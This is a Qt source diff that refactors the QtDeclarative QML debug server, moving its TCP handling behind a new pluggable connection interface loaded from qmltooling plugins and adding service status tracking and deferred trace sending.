@@ -255,12 +255,12 @@ QString QDeclarativeDebugClient::name() const
QDeclarativeDebugClient::Status QDeclarativeDebugClient::status() const
{
Q_D(const QDeclarativeDebugClient);
- if (!d->client
- || !d->client->isConnected()
- || !d->client->d->gotHello)
+ if (!d->connection
+ || !d->connection->isConnected()
+ || !d->connection->d->gotHello)
return NotConnected;
- if (d->client->d->serverPlugins.contains(d->name))
+ if (d->connection->d->serverPlugins.contains(d->name))
return Enabled;
return Unavailable;
@@ -275,8 +275,8 @@ void QDeclarativeDebugClient::sendMessage(const QByteArray &message)
QPacket pack;
pack << d->name << message;
- d->client->d->protocol->send(pack);
- d->client->d->q->flush();
+ d->connection->d->protocol->send(pack);
+ d->connection->d->q->flush();
}
void QDeclarativeDebugClient::statusChanged(Status)
diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp
new file mode 100644
index 0000000..ea3d9a3
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver.cpp
@@ -0,0 +1,361 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebugserver_p.h"
+#include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativeengine_p.h"
+
+#include <QtCore/QDir>
+#include <QtCore/QPluginLoader>
+#include <QtCore/QStringList>
+
+#include <private/qobject_p.h>
+#include <private/qapplication_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*
+ QDeclarativeDebug Protocol (Version 1):
+
+ handshake:
+ 1. Client sends
+ "QDeclarativeDebugServer" 0 version pluginNames
+ version: an int representing the highest protocol version the client knows
+ pluginNames: plugins available on client side
+ 2. Server sends
+ "QDeclarativeDebugClient" 0 version pluginNames
+ version: an int representing the highest protocol version the client & server know
+ pluginNames: plugins available on server side. plugins both in the client and server message are enabled.
+ client plugin advertisement
+ 1. Client sends
+ "QDeclarativeDebugServer" 1 pluginNames
+ server plugin advertisement
+ 1. Server sends
+ "QDeclarativeDebugClient" 1 pluginNames
+ plugin communication:
+ Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin.
+ */
+
+const int protocolVersion = 1;
+
+
+class QDeclarativeDebugServerPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeDebugServer)
+public:
+ QDeclarativeDebugServerPrivate();
+
+ void advertisePlugins();
+
+ QDeclarativeDebugServerConnection *connection;
+ QHash<QString, QDeclarativeDebugService *> plugins;
+ QStringList clientPlugins;
+ bool gotHello;
+
+ static QDeclarativeDebugServerConnection *loadConnectionPlugin();
+};
+
+QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() :
+ connection(0),
+ gotHello(false)
+{
+}
+
+void QDeclarativeDebugServerPrivate::advertisePlugins()
+{
+ if (!gotHello)
+ return;
+
+ QByteArray message;
+ {
+ QDataStream out(&message, QIODevice::WriteOnly);
+ out << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys();
+ }
+ connection->send(message);
+}
+
+QDeclarativeDebugServerConnection *QDeclarativeDebugServerPrivate::loadConnectionPlugin()
+{
+ QStringList pluginCandidates;
+ const QStringList paths = QCoreApplication::libraryPaths();
+ foreach (const QString &libPath, paths) {
+ const QDir dir(libPath + QLatin1String("/qmltooling"));
+ if (dir.exists()) {
+ QStringList plugins(dir.entryList(QDir::Files));
+ foreach (const QString &pluginPath, plugins) {
+ pluginCandidates << dir.absoluteFilePath(pluginPath);
+ }
+ }
+ }
+
+ foreach (const QString &pluginPath, pluginCandidates) {
+ QPluginLoader loader(pluginPath);
+ if (!loader.load()) {
+ continue;
+ }
+ QDeclarativeDebugServerConnection *connection = 0;
+ if (QObject *instance = loader.instance())
+ connection = qobject_cast<QDeclarativeDebugServerConnection*>(instance);
+
+ if (connection)
+ return connection;
+ loader.unload();
+ }
+ return 0;
+}
+
+bool QDeclarativeDebugServer::hasDebuggingClient() const
+{
+ Q_D(const QDeclarativeDebugServer);
+ return d->connection
+ && d->connection->isConnected()
+ && d->gotHello;
+}
+
+QDeclarativeDebugServer *QDeclarativeDebugServer::instance()
+{
+ static bool commandLineTested = false;
+ static QDeclarativeDebugServer *server = 0;
+
+ if (!commandLineTested) {
+ commandLineTested = true;
+
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+ QApplicationPrivate *appD = static_cast<QApplicationPrivate*>(QObjectPrivate::get(qApp));
+ // ### remove port definition when protocol is changed
+ int port = 0;
+ bool block = false;
+ bool ok = false;
+
+ // format: qmljsdebugger=port:3768[,block]
+ if (!appD->qmljsDebugArgumentsString().isEmpty()) {
+ if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+ const QString message =
+ QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "Debugging has not been enabled.").arg(
+ appD->qmljsDebugArgumentsString());
+ qWarning("%s", qPrintable(message));
+ return 0;
+ }
+
+ if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) {
+ int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(','));
+ port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok);
+ }
+ block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block"));
+
+ if (ok) {
+ server = new QDeclarativeDebugServer();
+
+ QDeclarativeDebugServerConnection *connection
+ = QDeclarativeDebugServerPrivate::loadConnectionPlugin();
+ if (connection) {
+ server->d_func()->connection = connection;
+
+ connection->setServer(server);
+ connection->setPort(port, block);
+ } else {
+ qWarning() << QString::fromAscii("QDeclarativeDebugServer: Ignoring\"-qmljsdebugger=%1\". "
+ "Remote debugger plugin has not been found.").arg(appD->qmljsDebugArgumentsString());
+ }
+
+ } else {
+ qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "Format is -qmljsdebugger=port:<port>[,block]").arg(
+ appD->qmljsDebugArgumentsString()).toAscii().constData());
+ }
+ }
+#endif
+ }
+
+ return server;
+}
+
+QDeclarativeDebugServer::QDeclarativeDebugServer()
+: QObject(*(new QDeclarativeDebugServerPrivate))
+{
+}
+
+void QDeclarativeDebugServer::receiveMessage(const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugServer);
+
+ QDataStream in(message);
+ if (!d->gotHello) {
+
+ QString name;
+ int op;
+ in >> name >> op;
+
+ if (name != QLatin1String("QDeclarativeDebugServer")
+ || op != 0) {
+ qWarning("QDeclarativeDebugServer: Invalid hello message");
+ d->connection->disconnect();
+ return;
+ }
+
+ int version;
+ in >> version >> d->clientPlugins;
+
+ QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+ for (; iter != d->plugins.end(); ++iter) {
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(iter.key()))
+ newStatus = QDeclarativeDebugService::Enabled;
+ iter.value()->d_func()->status = newStatus;
+ iter.value()->statusChanged(newStatus);
+ }
+
+ QByteArray helloAnswer;
+ {
+ QDataStream out(&helloAnswer, QIODevice::WriteOnly);
+ out << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys();
+ }
+ d->connection->send(helloAnswer);
+
+ d->gotHello = true;
+ qWarning("QDeclarativeDebugServer: Connection established");
+ } else {
+
+ QString debugServer(QLatin1String("QDeclarativeDebugServer"));
+
+ QString name;
+ in >> name;
+
+ if (name == debugServer) {
+ int op = -1;
+ in >> op;
+
+ if (op == 1) {
+ // Service Discovery
+ QStringList oldClientPlugins = d->clientPlugins;
+ in >> d->clientPlugins;
+
+ QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+ for (; iter != d->plugins.end(); ++iter) {
+ const QString pluginName = iter.key();
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(pluginName))
+ newStatus = QDeclarativeDebugService::Enabled;
+
+ if (oldClientPlugins.contains(pluginName)
+ != d->clientPlugins.contains(pluginName)) {
+ iter.value()->d_func()->status = newStatus;
+ iter.value()->statusChanged(newStatus);
+ }
+ }
+ } else {
+ qWarning("QDeclarativeDebugServer: Invalid control message %d", op);
+ }
+ } else {
+ QByteArray message;
+ in >> message;
+
+ QHash<QString, QDeclarativeDebugService *>::Iterator iter =
+ d->plugins.find(name);
+ if (iter == d->plugins.end()) {
+ qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name;
+ } else {
+ (*iter)->messageReceived(message);
+ }
+ }
+ }
+}
+
+QList<QDeclarativeDebugService*> QDeclarativeDebugServer::services() const
+{
+ const Q_D(QDeclarativeDebugServer);
+ return d->plugins.values();
+}
+
+QStringList QDeclarativeDebugServer::serviceNames() const
+{
+ const Q_D(QDeclarativeDebugServer);
+ return d->plugins.keys();
+}
+
+bool QDeclarativeDebugServer::addService(QDeclarativeDebugService *service)
+{
+ Q_D(QDeclarativeDebugServer);
+ if (!service || d->plugins.contains(service->name()))
+ return false;
+
+ d->plugins.insert(service->name(), service);
+ d->advertisePlugins();
+
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(service->name()))
+ newStatus = QDeclarativeDebugService::Enabled;
+ service->d_func()->status = newStatus;
+ service->statusChanged(newStatus);
+ return true;
+}
+
+bool QDeclarativeDebugServer::removeService(QDeclarativeDebugService *service)
+{
+ Q_D(QDeclarativeDebugServer);
+ if (!service || !d->plugins.contains(service->name()))
+ return false;
+
+ d->plugins.remove(service->name());
+ d->advertisePlugins();
+
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::NotConnected;
+ service->d_func()->server = 0;
+ service->d_func()->status = newStatus;
+ service->statusChanged(newStatus);
+ return true;
+}
+
+void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service,
+ const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugServer);
+ QByteArray msg;
+ {
+ QDataStream out(&msg, QIODevice::WriteOnly);
+ out << service->name() << message;
+ }
+ d->connection->send(msg);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h
new file mode 100644
index 0000000..ec3e60f
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver_p.h
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVER_H
+#define QDECLARATIVEDEBUGSERVER_H
+
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugserverconnection_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugService;
+
+class QDeclarativeDebugServerPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServer : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeDebugServer)
+ Q_DISABLE_COPY(QDeclarativeDebugServer)
+public:
+ static QDeclarativeDebugServer *instance();
+
+ void setConnection(QDeclarativeDebugServerConnection *connection);
+
+ bool hasDebuggingClient() const;
+
+ QList<QDeclarativeDebugService*> services() const;
+ QStringList serviceNames() const;
+
+ bool addService(QDeclarativeDebugService *service);
+ bool removeService(QDeclarativeDebugService *service);
+
+ void sendMessage(QDeclarativeDebugService *service, const QByteArray &message);
+ void receiveMessage(const QByteArray &message);
+
+private:
+ friend class QDeclarativeDebugService;
+ friend class QDeclarativeDebugServicePrivate;
+ QDeclarativeDebugServer();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_H
diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
new file mode 100644
index 0000000..631da74
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H
+#define QDECLARATIVEDEBUGSERVERCONNECTION_H
+
+#include <QtDeclarative/private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServerConnection
+{
+public:
+ QDeclarativeDebugServerConnection() {}
+ virtual ~QDeclarativeDebugServerConnection() {}
+
+ virtual void setServer(QDeclarativeDebugServer *server) = 0;
+ virtual void setPort(int port, bool bock) = 0;
+ virtual bool isConnected() const = 0;
+ virtual void send(const QByteArray &message) = 0;
+ virtual void disconnect() = 0;
+};
+
+Q_DECLARE_INTERFACE(QDeclarativeDebugServerConnection, "com.trolltech.Qt.QDeclarativeDebugServerConnection/1.0")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVERCONNECTION_H
diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp
index e916de4..1b39f1c 100644
--- a/src/declarative/debugger/qdeclarativedebugservice.cpp
+++ b/src/declarative/debugger/qdeclarativedebugservice.cpp
@@ -40,301 +40,14 @@
****************************************************************************/
#include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativedebugserver_p.h"
-#include "private/qpacketprotocol_p.h"
-#include "private/qdeclarativeengine_p.h"
-
-#include <QtCore/qdebug.h>
-#include <QtNetwork/qtcpserver.h>
-#include <QtNetwork/qtcpsocket.h>
-#include <QtCore/qstringlist.h>
-
-#include <private/qobject_p.h>
-#include <private/qapplication_p.h>
-#include <QtGui/qapplication.h>
+#include <QtCore/QDebug>
+#include <QtCore/QStringList>
QT_BEGIN_NAMESPACE
-/*
- QDeclarativeDebug Protocol (Version 1):
-
- handshake:
- 1. Client sends
- "QDeclarativeDebugServer" 0 version pluginNames
- version: an int representing the highest protocol version the client knows
- pluginNames: plugins available on client side
- 2. Server sends
- "QDeclarativeDebugClient" 0 version pluginNames
- version: an int representing the highest protocol version the client & server know
- pluginNames: plugins available on server side. plugins both in the client and server message are enabled.
- client plugin advertisement
- 1. Client sends
- "QDeclarativeDebugServer" 1 pluginNames
- server plugin advertisement
- 1. Server sends
- "QDeclarativeDebugClient" 1 pluginNames
- plugin communication:
- Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin.
- */
-
-const int protocolVersion = 1;
-
-class QDeclarativeDebugServerPrivate;
-class QDeclarativeDebugServer : public QObject
-{
- Q_OBJECT
- Q_DECLARE_PRIVATE(QDeclarativeDebugServer)
- Q_DISABLE_COPY(QDeclarativeDebugServer)
-public:
- static QDeclarativeDebugServer *instance();
- void listen();
- void waitForConnection();
- bool hasDebuggingClient() const;
-
-private Q_SLOTS:
- void readyRead();
- void newConnection();
-
-private:
- friend class QDeclarativeDebugService;
- friend class QDeclarativeDebugServicePrivate;
- QDeclarativeDebugServer(int);
-};
-
-class QDeclarativeDebugServerPrivate : public QObjectPrivate
-{
- Q_DECLARE_PUBLIC(QDeclarativeDebugServer)
-public:
- QDeclarativeDebugServerPrivate();
-
- void advertisePlugins();
-
- int port;
- QTcpSocket *connection;
- QPacketProtocol *protocol;
- QHash<QString, QDeclarativeDebugService *> plugins;
- QStringList clientPlugins;
- QTcpServer *tcpServer;
- bool gotHello;
-};
-
-class QDeclarativeDebugServicePrivate : public QObjectPrivate
-{
- Q_DECLARE_PUBLIC(QDeclarativeDebugService)
-public:
- QDeclarativeDebugServicePrivate();
-
- QString name;
- QDeclarativeDebugServer *server;
-};
-
-QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate()
-: connection(0), protocol(0), gotHello(false)
-{
-}
-
-void QDeclarativeDebugServerPrivate::advertisePlugins()
-{
- if (!connection
- || connection->state() != QTcpSocket::ConnectedState
- || !gotHello)
- return;
-
- QPacket pack;
- pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys();
- protocol->send(pack);
- connection->flush();
-}
-
-void QDeclarativeDebugServer::listen()
-{
- Q_D(QDeclarativeDebugServer);
-
- d->tcpServer = new QTcpServer(this);
- QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection()));
- if (d->tcpServer->listen(QHostAddress::Any, d->port))
- qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port);
- else
- qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port);
-}
-
-void QDeclarativeDebugServer::waitForConnection()
-{
- Q_D(QDeclarativeDebugServer);
- d->tcpServer->waitForNewConnection(-1);
-}
-
-void QDeclarativeDebugServer::newConnection()
-{
- Q_D(QDeclarativeDebugServer);
-
- if (d->connection) {
- qWarning("QDeclarativeDebugServer error: another client is already connected");
- QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection();
- delete faultyConnection;
- return;
- }
-
- d->connection = d->tcpServer->nextPendingConnection();
- d->connection->setParent(this);
- d->protocol = new QPacketProtocol(d->connection, this);
- QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
-}
-
-bool QDeclarativeDebugServer::hasDebuggingClient() const
-{
- Q_D(const QDeclarativeDebugServer);
- return d->connection
- && (d->connection->state() == QTcpSocket::ConnectedState)
- && d->gotHello;
-}
-
-QDeclarativeDebugServer *QDeclarativeDebugServer::instance()
-{
- static bool commandLineTested = false;
- static QDeclarativeDebugServer *server = 0;
-
- if (!commandLineTested) {
- commandLineTested = true;
-
-#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
- QApplicationPrivate *appD = static_cast<QApplicationPrivate*>(QObjectPrivate::get(qApp));
- // ### remove port definition when protocol is changed
- int port = 0;
- bool block = false;
- bool ok = false;
-
- // format: qmljsdebugger=port:3768[,block]
- if (!appD->qmljsDebugArgumentsString().isEmpty()) {
- if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
- qWarning() << QString::fromLatin1("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
- "Debugging has not been enabled.").arg(
- appD->qmljsDebugArgumentsString()).toAscii().constData();
- return 0;
- }
-
- if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) {
- int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(','));
- port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok);
- }
- block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block"));
-
- if (ok) {
- server = new QDeclarativeDebugServer(port);
- server->listen();
- if (block) {
- server->waitForConnection();
- }
- } else {
- const QString message =
- QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
- "Format is -qmljsdebugger=port:<port>[,block]").
- arg(appD->qmljsDebugArgumentsString());
- qWarning("%s", qPrintable(message));
- }
- }
-#endif
- }
-
- return server;
-}
-
-QDeclarativeDebugServer::QDeclarativeDebugServer(int port)
-: QObject(*(new QDeclarativeDebugServerPrivate))
-{
- Q_D(QDeclarativeDebugServer);
- d->port = port;
-}
-
-void QDeclarativeDebugServer::readyRead()
-{
- Q_D(QDeclarativeDebugServer);
-
- if (!d->gotHello) {
- QPacket hello = d->protocol->read();
-
- QString name;
- int op;
- hello >> name >> op;
-
- if (name != QLatin1String("QDeclarativeDebugServer")
- || op != 0) {
- qWarning("QDeclarativeDebugServer: Invalid hello message");
- QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
- d->protocol->deleteLater();
- d->protocol = 0;
- d->connection->deleteLater();
- d->connection = 0;
- return;
- }
-
- int version;
- hello >> version >> d->clientPlugins;
-
- QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
- for (; iter != d->plugins.end(); ++iter) {
- QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
- if (d->clientPlugins.contains(iter.key()))
- newStatus = QDeclarativeDebugService::Enabled;
- iter.value()->statusChanged(newStatus);
- }
-
- QPacket helloAnswer;
- helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys();
- d->protocol->send(helloAnswer);
- d->connection->flush();
-
- d->gotHello = true;
- qWarning("QDeclarativeDebugServer: Connection established");
- }
-
- QString debugServer(QLatin1String("QDeclarativeDebugServer"));
-
- while (d->protocol->packetsAvailable()) {
- QPacket pack = d->protocol->read();
-
- QString name;
- pack >> name;
-
- if (name == debugServer) {
- int op = -1;
- pack >> op;
-
- if (op == 1) {
- // Service Discovery
- QStringList oldClientPlugins = d->clientPlugins;
- pack >> d->clientPlugins;
-
- QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
- for (; iter != d->plugins.end(); ++iter) {
- const QString pluginName = iter.key();
- QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
- if (d->clientPlugins.contains(pluginName))
- newStatus = QDeclarativeDebugService::Enabled;
-
- if (oldClientPlugins.contains(pluginName)
- != d->clientPlugins.contains(pluginName)) {
- iter.value()->statusChanged(newStatus);
- }
- }
- } else {
- qWarning("QDeclarativeDebugServer: Invalid control message %d", op);
- }
- } else {
- QByteArray message;
- pack >> message;
-
- QHash<QString, QDeclarativeDebugService *>::Iterator iter =
- d->plugins.find(name);
- if (iter == d->plugins.end()) {
- qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name;
- } else {
- (*iter)->messageReceived(message);
- }
- }
- }
-}
-
QDeclarativeDebugServicePrivate::QDeclarativeDebugServicePrivate()
: server(0)
{
@@ -346,16 +59,16 @@ QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject
Q_D(QDeclarativeDebugService);
d->name = name;
d->server = QDeclarativeDebugServer::instance();
+ d->status = QDeclarativeDebugService::NotConnected;
if (!d->server)
return;
- if (d->server->d_func()->plugins.contains(name)) {
+ if (d->server->serviceNames().contains(name)) {
qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name;
d->server = 0;
} else {
- d->server->d_func()->plugins.insert(name, this);
- d->server->d_func()->advertisePlugins();
+ d->server->addService(this);
}
}
@@ -363,8 +76,7 @@ QDeclarativeDebugService::~QDeclarativeDebugService()
{
Q_D(const QDeclarativeDebugService);
if (d->server) {
- d->server->d_func()->plugins.remove(d->name);
- d->server->d_func()->advertisePlugins();
+ d->server->removeService(this);
}
}
@@ -377,13 +89,7 @@ QString QDeclarativeDebugService::name() const
QDeclarativeDebugService::Status QDeclarativeDebugService::status() const
{
Q_D(const QDeclarativeDebugService);
- if (!d->server
- || !d->server->hasDebuggingClient())
- return NotConnected;
- if (d->server->d_func()->clientPlugins.contains(d->name))
- return Enabled;
-
- return Unavailable;
+ return d->status;
}
namespace {
@@ -500,10 +206,7 @@ void QDeclarativeDebugService::sendMessage(const QByteArray &message)
if (status() != Enabled)
return;
- QPacket pack;
- pack << d->name << message;
- d->server->d_func()->protocol->send(pack);
- d->server->d_func()->connection->flush();
+ d->server->sendMessage(this, message);
}
void QDeclarativeDebugService::statusChanged(Status)
@@ -515,5 +218,3 @@ void QDeclarativeDebugService::messageReceived(const QByteArray &)
}
QT_END_NAMESPACE
-
-#include <qdeclarativedebugservice.moc>
diff --git a/tools/qdoc3/sgmlgenerator.h b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
index 0e006e9..d2c8dda 100644
--- a/tools/qdoc3/sgmlgenerator.h
+++ b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
@@ -1,10 +1,10 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,29 +39,33 @@
**
****************************************************************************/
-/*
- sgmlgenerator.h
-*/
+#ifndef QDECLARATIVEDEBUGSERVICE_P_H
+#define QDECLARATIVEDEBUGSERVICE_P_H
-#ifndef SGMLGENERATOR_H
-#define SGMLGENERATOR_H
+#include <QtCore/qglobal.h>
+#include <private/qobject_p.h>
-#include "bookgenerator.h"
+QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-class SgmlGenerator : public BookGenerator
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+
+class QDeclarativeDebugServicePrivate : public QObjectPrivate
{
+ Q_DECLARE_PUBLIC(QDeclarativeDebugService)
public:
- SgmlGenerator();
- ~SgmlGenerator();
+ QDeclarativeDebugServicePrivate();
- virtual QString format();
-
-protected:
- // ###
+ QString name;
+ QDeclarativeDebugServer *server;
+ QDeclarativeDebugService::Status status;
};
QT_END_NAMESPACE
-#endif
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_P_H
diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
index 5b78683..6f28736 100644
--- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
+++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
@@ -43,11 +43,29 @@
#include <QtCore/qdatastream.h>
#include <QtCore/qurl.h>
+#include <QtCore/qtimer.h>
Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance);
+// convert to a QByteArray that can be sent to the debug client
+// use of QDataStream can skew results if m_deferredSend == false
+// (see tst_qperformancetimer::trace() benchmark)
+QByteArray QDeclarativeDebugData::toByteArray() const
+{
+ QByteArray data;
+ //### using QDataStream is relatively expensive
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << time << messageType << detailType;
+ if (messageType == (int)QDeclarativeDebugTrace::RangeData)
+ ds << detailData;
+ if (messageType == (int)QDeclarativeDebugTrace::RangeLocation)
+ ds << detailData << line;
+ return data;
+}
+
QDeclarativeDebugTrace::QDeclarativeDebugTrace()
-: QDeclarativeDebugService(QLatin1String("CanvasFrameRate"))
+: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")),
+ m_enabled(false), m_deferredSend(true)
{
m_timer.start();
}
@@ -64,10 +82,28 @@ void QDeclarativeDebugTrace::startRange(RangeType t)
traceInstance()->startRangeImpl(t);
}
